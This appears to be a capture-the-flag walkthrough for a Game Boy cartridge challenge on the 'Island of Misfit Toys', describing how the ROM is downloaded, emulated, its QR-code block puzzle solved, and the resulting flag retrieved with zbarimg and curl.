While exploring the Island of Misfit Toys, we discover the Port of Tarnished Trove. Upon reaching it, a "Dock Now" option is presented to us.

docknow

The dock featured the Dusty Giftwrap to greet us!

dock

When we make land, we obtain new objectives on arrival.

Game Cartridges: Vol 1 (Island of Misfit Toys)

Find the first Gamegosling cartridge and beat the game

Game Cartridges: Vol 2 (Pixel Island)

Find the second Gamegosling cartridge and beat the game

Game Cartridges: Vol 3 (Steampunk Island)

Find the third Gamegosling cartridge and beat the game

Full Island (Zoomed Out)

zoom30

Game Cartridges: Vol 1⚓︎

Game Cartridges: Vol 1 (Island of Misfit Toys)

Find the first Gamegosling cartridge and beat the game

When speaking with Dusty Giftwrap, we obtain the following hint:

Approximate Proximity

Listen for the gameboy cartridge detector's proximity sound that activates when near buried treasure. It may be worth checking around the strange toys in the Tarnished Trove.

Finding the Game Cartridge⚓︎

The game cartridge was found under the hat in the north west part of the island!

hat

We can now find the "Elf the Dwarf’s, Gloriously, Unfinished, Adventure! - Vol1" in our Items:

cartridge

When we click on the game in our inventory, it launches from https://gamegosling.com/vol1-uWn1t6xv4VKPZ6FN/ with a Gameboy ROM of game.gb.

wget https://gamegosling.com/vol1-uWn1t6xv4VKPZ6FN/rom/game.gb -O game-vol1.gb
visualboyadvance-m game-vol1.gb

Speaking with Dusty Giftwrap after we obtained the game cartridge, we obtain the following hint:

Gameboy 1

1) Giving things a little push never hurts. 2) Out of sight but not out of ear-shot 3) You think you fixed the QR code? Did you scan it and see where it leads?

Vol 1 Gameplay⚓︎

Using visualboyadvance-m to emulate a GameBoy, it has a lot of tools to help analyze and hack a gameboy game.

visualboyadvance-m game-vol1.gb

In visualboyadvance-m emulator, the K key is mapped to B, and L key is mapped to A. The WASD keys are to move.

Opening up the game, we are displayed with COUNTER HACK Presents - Elf the Dwarf's Gloriously Unfinished, Adventure! - Vol. 1:

gamestartup

gamestartup

Clicking "New Game" the following speech continues:

Jared: Elf, have you ever heard of a miner named Tom Liston?
Elf: What does he mine?
Jared: Crypt-o-coin?
Elf: *GASP* The long lost treasure of the undead toe?
Elf: I can't believe it!
Elf: I'd love to quest for the treasure but there ain't no way I'll ever find this Tom Lis..
Jared: I'm sending you Tom's first, middle, and last name. His home address. His cell number. And the last four of social.
*ELF'S CELL PHONE CHIMES*
Elf: Excellent! Never fear Very Senior Technical Engineer Jared Folkins.
Elf: I will find this treasure and LIston and I will receive ...
Jared: *GROANS* Oooh no...
Elf: Muuuch!
T-Wiz: I absolutely know what Elf's about to say!
Elf: Gloooooory!

After the speech, we exit the cave:

cave

Exiting the cave:

exitcave

We navigate using our arrow or WASD keys to the south by heading left around a black block:

south

Kody the Dog - QR Code⚓︎

Once, we proceed through the entrance, we can find ourselves in a new area with Kody the dog:

kody

*Woof* Hi, I'm  Kody! Can you plz fix this QR Code? The developers cheaped out and now a few  sing-song blocks  are not in the  correct position. If you sing to the blocks that are  misplaced, they will sing back! Try singing to the block to the south of my position. Hopefully you can fix the misaligned QR blocks.
Block 1⚓︎

Moving down and clicking "B" (with the K key) on a block, we can see it flashes to move:

block1

We need to "bump" into the black box and put it on the dashed box a certain way...

block1

Block 2⚓︎

Within the bottom-right corner

block2

block2

Block 3⚓︎

Within the bottom-right corner

block3

block3

Block 4 & 5⚓︎

Within the bottom-right corner (on the other side):

block4

Within the bottom-right corner (on the other side):

block5

Moving both blocks down 1 ...

block4

Moving block 4 into place:

block4

Place block 5 into place:

block5

Block 6⚓︎

Within the bottom-right corner (on the other side):

block6

Place block 6 into place:

block6

Block 7⚓︎

Towards the top of the QR code left of Kody the Dog:

block7

This block has to be moved to the right-side of the QR code:

block7

After block 7 was placed:

qr

qr

qr

Scanning the QR code using zbarimg:

$ zbarimg qr.png
QR-Code:http://8bitelf.com
scanned 1 barcode symbols from 1 images in 0.04 seconds

We can see the link is http://8bitelf.com with the flag flag:santaconfusedgivingplanetsqrcode

$ curl -L http://8bitelf.com
<html>
   <body>
      <p>flag:santaconfusedgivingplanetsqrcode</p>
   </body>
</html>

We enter in the answer into our badge for the objective: Answer: santaconfusedgivingplanetsqrcode

Achievement

Congratulations! You have completed the Game Cartridges: Vol 1 challenge!